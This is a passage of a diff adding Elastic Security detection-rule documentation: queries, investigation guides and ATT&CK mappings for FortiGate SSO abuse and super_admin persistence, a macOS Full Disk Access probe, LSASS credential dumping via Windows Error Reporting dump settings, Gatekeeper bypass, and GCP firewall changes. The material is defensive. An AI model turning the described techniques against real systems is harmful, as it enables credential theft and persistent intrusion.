Escalate to the security or incident response team if the alert indicates malicious activity. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.name with maxspan=10m + [authentication where data_stream.dataset == "fortinet_fortigate.log" and event.action == "login" and event.code in ("0101039426", "0101039427") and + user.name != "root"] + [any where event.kind == "signal" and kibana.alert.rule.name != null and data_stream.dataset != "fortinet_fortigate.log" and + kibana.alert.risk_score > 21 and kibana.alert.rule.rule_id != "a7f2c1b4-5d8e-4f3a-9b0c-2e1d4a6b8f3e" and user.name != null] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc new file mode 100644 index 0000000000..8284f570dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-fortigate-sso-login-followed-by-administrator-account-creation]] +=== FortiGate SSO Login Followed by Administrator Account Creation + +This rule detects a FortiCloud SSO login followed by administrator account creation on the same FortiGate device within 15 minutes. This sequence is a high-confidence indicator of the FG-IR-26-060 attack pattern, where threat actors authenticate via SAML-based SSO bypass and immediately create local administrator accounts for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Event Correlation (EQL) + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate SSO Login Followed by Administrator Account Creation* + + +This alert indicates that a FortiCloud SSO login was followed by an administrator account creation event on the same FortiGate device within 15 minutes. This two-event sequence is the core attack pattern observed in the FG-IR-26-060 campaign. + +The attack flow is: authenticate via FortiCloud SSO using a crafted SAML assertion, then immediately create local administrator accounts to maintain access even after the SSO vulnerability is patched. + + +*Possible investigation steps* + + +- Review the SSO login event for the FortiCloud account used and the source IP. Determine whether the SSO account belongs to the organization. +- Check the admin creation event for the names of accounts created and the access profiles assigned (especially super_admin). +- Assess the timing between events. In the observed campaign, admin creation occurs within seconds of SSO login. A tight time correlation is a strong indicator of compromise. +- Review `observer.name` to identify the targeted device and verify whether FortiCloud SSO is intentionally enabled. Run `get system admin` to list all current administrator accounts. +- Check whether the same SSO account or source IP targeted other devices. Look for configuration exports, firewall policy changes, or VPN modifications following the admin creation. + + +*False positive analysis* + + +- An authorized administrator logging in via FortiCloud SSO and creating a new admin account as part of normal operations. +- Initial device onboarding where SSO login and account setup occur in the same session. + + +*Response and remediation* + + +- If unauthorized, delete all administrator accounts created during the session and disable FortiCloud SSO immediately. +- Restore configuration from a known-clean backup and rotate all credentials including LDAP/AD accounts connected to the device. +- Upgrade FortiOS to a patched version and engage incident response for the affected device and any downstream systems. +- If the activity is expected, document the administrative session and verify it was authorized. Consider creating accounts through a separate session to avoid triggering this correlation. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by observer.name with maxspan=15m + [authentication where data_stream.dataset == "fortinet_fortigate.log" and + event.action == "login" and event.outcome == "success" and + (fortinet.firewall.method == "sso" or fortinet.firewall.ui like~ "sso*")] + [any where data_stream.dataset == "fortinet_fortigate.log" and + event.code == "0100044547" and + fortinet.firewall.cfgpath == "system.admin" and + fortinet.firewall.action == "Add"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-super-admin-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-super-admin-account-creation.asciidoc new file mode 100644 index 0000000000..4139a8ac87 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-super-admin-account-creation.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-34-fortigate-super-admin-account-creation]] +=== FortiGate Super Admin Account Creation + +This rule detects the creation of an administrator account on a FortiGate device. Administrator account creation on these devices should be infrequent and tightly controlled. In the FG-IR-26-060 campaign, threat actors created super_admin accounts immediately after gaining initial access via FortiCloud SSO bypass to establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate Super Admin Account Creation* + + +This alert indicates that an administrator account was created on a FortiGate device. Administrator creation events on these devices are generally rare and should be closely scrutinized, as they are a key persistence mechanism used in the FG-IR-26-060 campaign. + +In the observed campaign, threat actors created multiple super_admin accounts (audit, backup, support, itadmin, secadmin, remoteadmin) within seconds of initial access to ensure persistent control even if individual accounts are discovered and removed. + + +*Possible investigation steps* + + +- Review `fortinet.firewall.cfgobj` for the name of the newly created account and examine `fortinet.firewall.cfgattr` to determine the access profile assigned to the account (especially super_admin). +- Review `source.user.name` to determine which account performed the creation and `fortinet.firewall.ui` for the source interface and IP address. Verify whether this administrator is authorized to provision accounts. +- Check whether a login event (especially via SSO) occurred shortly before the account creation. Analyze the timing between events. +- Check `observer.name` to identify the FortiGate device and run `get system admin` to get the current administrator list. Check other FortiGate devices in the fleet for the same account name. + + +*False positive analysis* + + +- Authorized provisioning of a new administrator account through an approved change management process. +- Initial device setup where administrator accounts are created as part of deployment. +- Migration or device replacement scenarios where accounts are replicated from another device. + + +*Response and remediation* + + +- If unauthorized, delete the administrator account immediately and audit the creating account for compromise. +- Treat the device configuration as compromised and restore from a known-clean backup. +- Check all FortiGate devices for similar account creation and upgrade FortiOS to a patched version. +- If the activity is expected, document the provisioning activity and the business justification. + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "fortinet_fortigate.log" and + event.code == "0100044547" and + fortinet.firewall.cfgpath == "system.admin" and + fortinet.firewall.action == "Add" and + fortinet.firewall.cfgattr like~ "*accprofile[super_admin]*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-forwarded-google-workspace-security-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-forwarded-google-workspace-security-alert.asciidoc new file mode 100644 index 0000000000..b744465c6d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-forwarded-google-workspace-security-alert.asciidoc @@ -0,0 +1,72 @@ +[[prebuilt-rule-8-19-34-forwarded-google-workspace-security-alert]] +=== Forwarded Google Workspace Security Alert + +Identifies the occurrence of a security alert from the Google Workspace alerts center. Google Workspace's security alert center provides an overview of actionable alerts that may be affecting an organization's domain. An alert is a warning of a potential security issue that Google has detected. + +*Rule type*: query + +*Rule indices*: + +* logs-google_workspace.alert-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://workspace.google.com/products/admin/alert-center/ +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Log Auditing +* Use Case: Threat Detection +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This is a promotion rule for Google Workspace security events, which are alertable events per the vendor. +Consult vendor documentation on interpreting specific events. + +==== Setup + + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: google_workspace.alert + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-full-disk-access-permission-check.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-full-disk-access-permission-check.asciidoc new file mode 100644 index 0000000000..5d599c47d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-full-disk-access-permission-check.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-full-disk-access-permission-check]] +=== Full Disk Access Permission Check + +Detects suspicious access to the /Library/Preferences/com.apple.TimeMachine.plist file, indicating a potential attempt to verify or exploit Full Disk Access (FDA) permissions. This file is often checked by malware to confirm FDA privileges, which allow unrestricted access to sensitive user data. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Full Disk Access Permission Check* + + +This rule detects suspicious reads of the Time Machine preferences plist that adversaries use as a quick litmus test for Full Disk Access, a permission that unlocks broad visibility into user and system data. Attackers commonly launch a scriptable or unsigned helper (for example via Python or AppleScript) to open this file, confirm FDA is present, then proceed to enumerate and collect protected artifacts like browser stores, messages, or backups. + + +*Possible investigation steps* + + +- Validate the opening process lineage (parent/child chain, launch method, user session) to determine whether the access originated from an interactive admin action or an unexpected background helper. +- Review the process code-signing identity (signer, notarization, team ID) and binary provenance (download attributes, install source, first-seen time) to distinguish legitimate tooling from potentially dropped or trojanized executables. +- Pivot to other file and directory access by the same process around the alert time to identify follow-on discovery/collection of protected user data (e.g., browser profiles, keychain-related paths, Messages, Mail, backups). +- Check recent and concurrent macOS privacy permission changes and TCC/FDA-related events for the user and process to see if FDA was newly granted, prompted, or bypassed preceding the access. +- Correlate with network activity from the same process or host after the check (new outbound connections, uploads, DNS to uncommon domains) to assess whether the FDA verification preceded staging or exfiltration. + + +*False positive analysis* + + +- An administrator or power user running an interactive shell (Terminal, bash/sh, python) executes a local audit or troubleshooting script that reads /Library/Preferences/com.apple.TimeMachine.plist to confirm Time Machine configuration and permissions. +- A developer or IT engineer uses a scripting runtime (osascript, node, ruby, perl, python) during endpoint diagnostics to check whether the current session/app context has Full Disk Access by attempting to open the Time Machine preference plist. + + +*Response and remediation* + + +- Isolate the Mac from the network or apply host firewall blocks if the plist access comes from an unexpected/unsigned process or occurs outside an active user session to prevent follow-on collection and exfiltration. +- Terminate the offending process and remove its persistence (LaunchAgents/LaunchDaemons, cron, login items) and any newly dropped executables or scripts found in user-writable paths that launched the plist check. +- Revoke Full Disk Access for the suspicious app in Privacy & Security settings, reset TCC permissions if tampering is suspected, and rotate credentials/tokens exposed on the host (browser sessions, SSH keys, API keys) if protected data access is likely. +- Collect and preserve evidence (the binary and its hash, quarantine/xattr info, parent process, relevant unified logs, and a copy of the accessed plist) before cleanup, then run a full endpoint malware scan and validate no additional sensitive files were accessed immediately after the check. +- Restore system integrity by updating macOS and security tools, reinstalling or re-imaging if core components were modified, and confirm normal Time Machine configuration after remediation to ensure operational recovery. +- Escalate to IR/SECOPS immediately if the process is unsigned/notarization-missing, shows persistence, or makes outbound connections after the plist read, and harden by enforcing MDM controls that restrict FDA grants and block execution of untrusted scripting runtimes where feasible. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "open" and + file.path == "/Library/Preferences/com.apple.TimeMachine.plist" and + (process.name in ("osascript", "perl", "node", "ruby", "bash", "sh", "Terminal") or + process.name like "python*" or + process.code_signature.trusted == false or + process.code_signature.exists == false) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: TCC Manipulation +** ID: T1548.006 +** Reference URL: https://attack.mitre.org/techniques/T1548/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: TCC Manipulation +** ID: T1548.006 +** Reference URL: https://attack.mitre.org/techniques/T1548/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-full-user-mode-dumps-enabled-system-wide.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-full-user-mode-dumps-enabled-system-wide.asciidoc new file mode 100644 index 0000000000..aac6d56120 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-full-user-mode-dumps-enabled-system-wide.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-full-user-mode-dumps-enabled-system-wide]] +=== Full User-Mode Dumps Enabled System-Wide + +Identifies the enable of the full user-mode dumps feature system-wide. This feature allows Windows Error Reporting (WER) to collect data after an application crashes. This setting is a requirement for the LSASS Shtinkering attack, which fakes the communication of a crash on LSASS, generating a dump of the process memory, which gives the attacker access to the credentials present on the system without having to bring malware to the system. This setting is not enabled by default, and applications must create their registry subkeys to hold settings that enable them to collect dumps. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps +* https://github.com/deepinstinct/Lsass-Shtinkering +* https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Full User-Mode Dumps Enabled System-Wide* + + +Full user-mode dumps are a diagnostic feature in Windows that captures detailed information about application crashes, aiding in troubleshooting. However, attackers can exploit this by triggering dumps of sensitive processes like LSASS to extract credentials. The detection rule identifies registry changes enabling this feature system-wide, flagging potential misuse by excluding legitimate system processes, thus alerting analysts to suspicious activity. + + +*Possible investigation steps* + + +- Review the registry path HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps\DumpType to confirm if the value is set to "2" or "0x00000002", indicating full user-mode dumps are enabled. +- Check for any recent changes to the registry key by examining the modification timestamps and identifying the user or process responsible for the change. +- Investigate the context of the alert by reviewing recent process execution logs to identify any suspicious processes that may have triggered the dump, especially those not matching the legitimate svchost.exe process with user IDs S-1-5-18, S-1-5-19, or S-1-5-20. +- Analyze any generated dump files for sensitive information, such as credentials, and determine if they were accessed or exfiltrated by unauthorized users or processes. +- Correlate the alert with other security events or logs, such as Sysmon or Microsoft Defender XDR, to identify any related suspicious activities or patterns that could indicate a broader attack. + + +*False positive analysis* + + +- Legitimate system processes like svchost.exe may trigger the rule if they are not properly excluded. Ensure that the exclusion for svchost.exe is correctly configured by verifying the process executable path and user IDs. +- Custom applications that require full user-mode dumps for legitimate debugging purposes might be flagged. Identify these applications and create specific registry subkey exclusions to prevent false positives. +- System administrators performing routine maintenance or diagnostics might enable full user-mode dumps temporarily. Document these activities and consider creating temporary exceptions during maintenance windows. +- Security tools or monitoring software that simulate crash scenarios for testing purposes could trigger the rule. Verify the legitimacy of these tools and add them to an exclusion list if they are part of regular security operations. +- Updates or patches from software vendors that modify registry settings for error reporting might be misinterpreted as suspicious. Monitor update schedules and correlate any rule triggers with known update activities to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further credential access or lateral movement by the attacker. +- Terminate any unauthorized processes that are generating full user-mode dumps, especially those related to LSASS, to stop further credential dumping. +- Conduct a thorough review of the registry settings on the affected system to ensure that the full user-mode dumps feature is disabled unless explicitly required for legitimate purposes. +- Change all credentials that may have been exposed, particularly those associated with high-privilege accounts, to mitigate the risk of unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar registry changes across the network to detect and respond to future attempts promptly. +- Review and update endpoint protection configurations to ensure they are capable of detecting and blocking similar credential dumping techniques. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and + registry.path : ( + "HKLM\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\LocalDumps\\DumpType", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\LocalDumps\\DumpType" + ) and + registry.data.strings : ("2", "0x00000002") and + not (process.executable : "?:\\Windows\\system32\\svchost.exe" and user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gatekeeper-override-and-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gatekeeper-override-and-execution.asciidoc new file mode 100644 index 0000000000..472a73af62 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gatekeeper-override-and-execution.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-34-gatekeeper-override-and-execution]] +=== Gatekeeper Override and Execution + +Detects when macOS Gatekeeper is overridden followed by execution of the same binary from a suspicious location. This behavior indicates an attempt to bypass Apple's security controls and execute potentially malicious software downloaded from the internet. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Gatekeeper Override and Execution* + + +macOS Gatekeeper uses the quarantine extended attribute (com.apple.quarantine) to track files downloaded from the internet and enforce signature verification before execution. Threat actors commonly use xattr to remove this quarantine flag before executing malicious binaries, effectively bypassing Gatekeeper protections. This detection rule identifies the suspicious pattern of quarantine removal followed by immediate execution of files from typical download or staging locations. + + +*Possible investigation steps* + + +- Review the file.path field from the first event to identify which file had its quarantine attribute removed and assess whether this file is expected on the system. +- Examine the file.Ext.header_bytes to confirm the file type (Mach-O binary indicated by cffaedfe or cafebabe magic bytes) and determine if it is a legitimate application. +- Analyze the process.executable from the execution event to verify it matches the file that had quarantine removed and investigate its purpose. +- Check the process.parent.executable and process.command_line to understand how the xattr removal and execution were triggered. +- Investigate the download source by reviewing browser history, email attachments, or other delivery mechanisms that may have placed the file in the staging location. +- Calculate the hash of the executed binary and search threat intelligence databases for known malicious indicators. +- Review the user.name associated with the activity to determine if the behavior is consistent with their normal operations. + + +*False positive analysis* + + +- Users may manually remove quarantine from legitimate applications downloaded from trusted sources that macOS incorrectly flags. Verify the application source and purpose before dismissing. +- Developers may bypass Gatekeeper during local testing of unsigned builds. Confirm with development teams if such activities are expected. +- Enterprise software deployment may involve removing quarantine from applications before installation. Verify if IT operations were performing expected deployments. +- Some legitimate installer packages may remove quarantine as part of their installation process. Review the installer's origin and signing status. + + +*Response and remediation* + + +- Immediately quarantine or remove the suspicious executable that was launched after quarantine removal. +- Block the file hash at the endpoint level to prevent re-execution across the environment. +- Conduct a comprehensive malware scan on the affected system to identify additional malicious components or persistence mechanisms. +- Investigate the delivery mechanism to understand how the malicious file reached the system and prevent similar infections. +- Review other systems for the same file hash or similar patterns of quarantine bypass. +- Educate users about the risks of bypassing Gatekeeper and removing quarantine attributes from downloaded files. +- Consider implementing additional controls such as application allowlisting to prevent execution of unauthorized binaries. +- Escalate to the incident response team if the executed binary is confirmed malicious. + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where host.os.type == "macos" and event.action == "gatekeeper_override" and + file.path like ("/Volumes/*", "/Users/*/Applications/*", "/Applications/*", + "/tmp/*", "/private/tmp/*", "/var/tmp/*", "/private/var/tmp/*", "/Users/Shared/*", + "/Users/*/Downloads/*", "/Users/*/Desktop/*", "/Users/*/Documents/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Gatekeeper Bypass +** ID: T1553.001 +** Reference URL: https://attack.mitre.org/techniques/T1553/001/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-firewall-rule-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-firewall-rule-creation.asciidoc new file mode 100644 index 0000000000..04b9e92bb7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-firewall-rule-creation.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-gcp-firewall-rule-creation]] +=== GCP Firewall Rule Creation + +Identifies when a firewall rule is created in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may create a new firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/firewalls +* https://cloud.google.com/appengine/docs/standard/python/understanding-firewalls + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Firewall Rule Creation* + + +In GCP, firewall rules manage network traffic to and from VPCs and App Engine applications, crucial for maintaining security. Adversaries may exploit this by creating rules that permit unauthorized access, bypassing security measures. The detection rule monitors audit logs for specific actions indicating new rule creation, flagging potential defense evasion attempts to ensure timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit entries to identify the source of the firewall rule creation, focusing on the event.action fields: *.compute.firewalls.insert or google.appengine.*.Firewall.Create*Rule. +- Identify the user or service account responsible for the action by examining the actor information in the audit logs, such as the principalEmail field. +- Determine the network or application affected by the new firewall rule by analyzing the target 